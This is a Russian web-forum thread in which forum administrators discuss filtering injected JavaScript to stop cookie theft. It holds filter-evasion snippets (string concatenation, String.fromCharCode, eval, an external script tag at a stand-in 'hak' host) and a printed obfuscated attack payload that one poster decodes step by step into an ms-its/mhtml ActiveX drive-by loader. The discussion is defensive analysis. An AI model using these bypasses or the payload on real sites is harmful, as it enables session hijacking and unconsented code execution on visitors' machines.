Перейти к контенту

Басни о куках


Рекомендуемые сообщения

  • Ответы 95
  • Создана
  • Последний ответ

Лучшие авторы в этой теме

Лучшие авторы в этой теме

короче я так понимаю любой непечатный символ ?

 

не уверен, наверняка символы chr(0xCA)(тот самый, невидимый) тож

 

не проверял в общем.

Изменено пользователем freeman85
Ссылка на комментарий
Поделиться на других сайтах

на античате детишки все пробуют...

 

вообщем табы проходят как вы увидили на ура, пробелы тоже

можно строчкку закодировать... вообщем надо искать глобальный выход из этой клоаки...

Ссылка на комментарий
Поделиться на других сайтах

не знаю, первое что я попробовал, это ставить пробелы в Опере, в IE, в FF

везде document.cookie перестаёт восприниматься как команда яваскрипта. Может правда как-то не так ставил :D

Ссылка на комментарий
Поделиться на других сайтах

не знаю, первое что я попробовал, это ставить пробелы в Опере, в IE, в FF

везде document.cookie перестаёт восприниматься как команда яваскрипта. Может правда как-то не так ставил :D

 

может я не правильно понел тебя, смотри файл http://chuhodi.nm.ru/cookie.htm

если ошибки нету, значит прошло успешно...

 

открой в редакторе где видны скрытые символы (таб., пробелы, переносы)

Ссылка на комментарий
Поделиться на других сайтах

Так надо чтобы при этом ещё document<что-то тут>.<что-то тут>cookie воспринималось браузером как команда отдать куки. Ну например в том же самом алерте.

 

Короче говоря, работает ли такая байда что

 

alert(document<что-то тут>.<что-то тут>cookie);

будет выдавать именно куки.

Сам алерт-то будет работать понятное дело.

Ссылка на комментарий
Поделиться на других сайтах

на античате было сказано про баг через жалобу, так я отключил в 215 возможность пиплу "жаловаться"

кнопки жалоба нет

отключается стандартными средствами в защите в настройках, если что

Ссылка на комментарий
Поделиться на других сайтах

Так надо чтобы при этом ещё document<что-то тут>.<что-то тут>cookie воспринималось браузером как команда отдать куки. Ну например в том же самом алерте.

 

Короче говоря, работает ли такая байда что

 

alert(document<что-то тут>.<что-то тут>cookie);

будет выдавать именно куки.

Сам алерт-то будет работать понятное дело.

 

закинь файло в корень фоума и запусти :D

фишка в чем, с document.cookie можно извращатся(т.е. оно будет работать) до тех пор пока в IE не покажет ошибку JavaScript Error бла бла бла.

Изменено пользователем freeman85
Ссылка на комментарий
Поделиться на других сайтах

угу, вот тесть дальше: http://www.sysman.ru/index.php?showtopic=2...indpost&p=38336

 

я думал ты в ту тему будешь наведоваться.

Ссылка на комментарий
Поделиться на других сайтах

угу, вот тесть дальше: http://www.sysman.ru/index.php?showtopic=2...indpost&p=38336

 

я думал ты в ту тему будешь наведоваться.

Гы! Последний аккорд с двойным латинским "о" особенно порадовал.

 

Пока есть возможность инъекции джаваскрипта, существуют сотни способов отработки строки.

 

Например такой:

str='d'+'o'+'c'+'u'+'m'+'e'+'n'+'t'+'.'+'c'+'o'+'o'+'k'+'i'+'e'
alert(str)

 

Или такой:

alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))

 

eval() запрещать будем? Одновремено с write() и с writeln()?

 

Я уже не говорю о примитиве:

<script type="text/javascript" src="www.server.hak/hak.js">

 

ИМХО, пока не заткнута возможность инъецирвать джаваскрипт, дыра не заткнута. ИМХО, только полный запрет слова "джаваскрипт" в латинском написании спасет отца русской демократии.

Ссылка на комментарий
Поделиться на других сайтах

Fatcat

 

str='d'+'o'+'c'+'u'+'m'+'e'+'n'+'t'+'.'+'c'+'o'+'o'+'k'+'i'+'e'

alert(str)

 

alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,1

01))

 

Разве пройдет? они ж по понятиям строковые :-\

Ссылка на комментарий
Поделиться на других сайтах

Хорошо, FatCat

я согласен, способов достаточно много.

 

ну так "javascript" заменить пара пустяков.

Ещё есть способы?

Ссылка на комментарий
Поделиться на других сайтах

Разве пройдет? они ж по понятиям строковые :-\

eval(строковая переменная) - выполнение значения строковой переменной программным кодом.

Не столь очевидно, но аналогично действует и write(переменная).

 

 

 

Хорошо, FatCat

я согласен, способов достаточно много.

 

ну так "javascript" заменить пара пустяков.

Ещё есть способы?

Способов защиты можно придумать много. Наиболее радикальным будет запрет в форуме латинской буквы "c" с заменой ее на аналогично выглядящую русскую. Но это поломает отображение части пользователей: не во всех шрифтах русская буква внешне идентична латинской.

ИМХО, парсинг "javascript", а еще лучше парсинг "script" по буквам "с" и "р" на русские достаточен.

 

 

Вообще нужно защищать не только одни куки.

Этот вопрос у меня решен просто. Всего один ник имеет доступ в админку, и этот ник никогда не выходит в форум.

Хакер узнает мой пароль. Чтож, печально, он станет мультимодератором и сможет попортить часть сообщений. Печально, но не смертельно: дамп базы скидывается каждую ночь. Обвалить форум с моего ника в форуме невозможно.

Ссылка на комментарий
Поделиться на других сайтах

2FatCat

 

а прокатит, если слово javascript заменить юникодом? Лень проверять :D

Ссылка на комментарий
Поделиться на других сайтах

а прокатит, если слово javascript заменить юникодом? Лень проверять :D

Если БД и страница в юникоде - тогда прокатит ;)

 

 

Приведу ради хохмы живой пример как ломали один из форумов и мою расшифровку "ломалки":

 

В ПМ пришел код:

<script language=javascript>document.write(unescape('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>'));dF('(6Fkwpo(6H(6Fwh{wduhd(53lg(6Gfrgh(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6Fkwpo(6H(6Fremhfw(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(53gdwd(6G(93(59(5643<(59(56448(59(5678(59(56438(59(56449(59(56448(59(568;(59(5643<(59(56437(59(56449(59(5643<(59(5643;(59(568;(59(56435(59(56438(59(5643;(59(56434(6E(6D22g(6D(8Firr1pkw(54(57(:ESDWK(:G2(59(56448(59(56449(59(56454(59(5643;(59(56434(59(5679(59(56<<(59(56448(59(56448(6E(6D(6D2(59(56453(59(5679(59(56437(59(56449(59(5643<(6E(93(53w|sh(6G(55wh{w2{0vfulswohw(55(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6F2remhfw(6H(6F2wh{wduhd(6H(6Feu(6H(6Fvfulsw(53odqjxdjh(6G(5:mdydvfulsw(5:(6Hgrfxphqw1zulwh(5;frgh1ydoxh1uhsodfh(5;2(8F(57(:ESDWK(:G2j(5Forfdwlrq1kuhi1vxevwulqj(5;3(5Forfdwlrq1kuhi1lqgh{Ri(5;(5:dgg1kwpo(5:(5<(5<(5<(5<(6E(6F2vfulsw(6H(6F2kwpo(6H(6F2kwpo(6H3')</script>

 

Распишу пошагово:

 

Шаг 1:

Увидел, что определена функция function dF(s) и ей передается длиннющий строковый параметр:

dF('(6Fkwpo(6H(6F ... (6F2kwpo(6H3')

Открывающие скобки внутри одиночных кавычек - часть строкового параметра, а не операторы.

 

 

Шаг 2:

Шуточки с и-эксплорером:

<script language=javascript>document.write(unescape('<script language="javascript">function dF(s)

Функция будет работать не в объекте document, а в виртуально машине... да еще и после анэскапирования.

 

 

Шаг 3:

Для удобства выношу обрабатываемую строку в переменную (qqq), вызываю функцию уже с именем переменной в аргументе, а вывод делаю не "врайтами", а алертом (последнее действие в функции). Делаю файлом:

<html><head></head><body>
<script language=javascript>
qqq='(6Fkwpo(6H(6Fwh{wduhd(53lg(6Gfrgh(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6Fkwpo(6H(6Fremhfw(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(53gdwd(6G(93(59(5643<(59(56448(59(5678(59(56438(59(56449(59(56448(59(568;(59(5643<(59(56437(59(56449(59(5643<(59(5643;(59(568;(59(56435(59(56438(59(5643;(59(56434(6E(6D22g(6D(8Firr1pkw(54(57(:ESDWK(:G2(59(56448(59(56449(59(56454(59(5643;(59(56434(59(5679(59(56<<(59(56448(59(56448(6E(6D(6D2(59(56453(59(5679(59(56437(59(56449(59(5643<(6E(93(53w|sh(6G(55wh{w2{0vfulswohw(55(53vw|oh(6G(93glvsod|(6Dqrqh(6E(93(6H(6F2remhfw(6H(6F2wh{wduhd(6H(6Feu(6H(6Fvfulsw(53odqjxdjh(6G(5:mdydvfulsw(5:(6Hgrfxphqw1zulwh(5;frgh1ydoxh1uhsodfh(5;2(8F(57(:ESDWK(:G2j(5Forfdwlrq1kuhi1vxevwulqj(5;3(5Forfdwlrq1kuhi1lqgh{Ri(5;(5:dgg1kwpo(5:(5<(5<(5<(5<(6E(6F2vfulsw(6H(6F2kwpo(6H(6F2kwpo(6H3'

function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));ddd=unescape(t);alert(ddd)}

dF(qqq)
</script>
</body></html>

При запуске этого файла и получился прицепленный мной скриншот первого преобразования.

 

http://thefatcat.nm.ru/1111.gif

 

Уже что-то читается, но еще часть символов написана метасимволами.

 

 

Шаг 4:

Кинул код на виртуальную машину (в поп-ап-окне), вытянул код в текст (чтобы не бить с руки из окошка алерта) и заменил метасимволы символами, получился код второго преобразования.

<html><textarea id=code style=`display:none;`>
<html><object style=`display:none;` 
data=`ms-its:mhtml:file://d:\foo.mht!${PATH}/;style.css` 
type="text/x-scriptlet" style=`display:none;`>
</object></textarea><br>
<script language='javascript'>
document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('add.html'))));
</script>
</html></html>

 

Из кода видно, что скрипт позволяет запускать активиксы из файла, а имя файла активикса style.css

 

 

Итак, вывод: перед нами скрипт, запускающий активикс из файла style.css без спроса пользователя, вслед за открытием страницы, содержащей этот код.

 

Собственно, тогда я для себя решил, что само слово "джаваскрипт" должно быть вне закона в постингах...

Ссылка на комментарий
Поделиться на других сайтах

Если БД и страница в юникоде - тогда прокатит

 

а причём тут БД? Это ж на клиентской стороне выполняется.

Главное, чтобы написаное было валидным для браузера, а уж в какой кодировке БД, это уже дело 10-ое.

 

зачем тему запаролил?

Там результаты тестов. Пока не афиширую.

Ещё попроверяю, если ничего не найду открою сегодня к 22-ум.

Вообще по-моему всё что приводили примеры, все закрыл.

 

В ПМ пришел код:

 

да как он мог быть рабочим, если <script это первое что блокируется при пеерчислении $HTTP_POST_VARS и $HTTP_GET_VARS

он просто не мог бы быть выполненным.

Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...

Господа, я тут подумал (в кои-то веки) - а разве VBScript не опасен в том же самом плане?

P.S. Я так и не понял во что вылилась идея защиты от js - Song обещал мега-мод ведь? :D

Ссылка на комментарий
Поделиться на других сайтах


×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.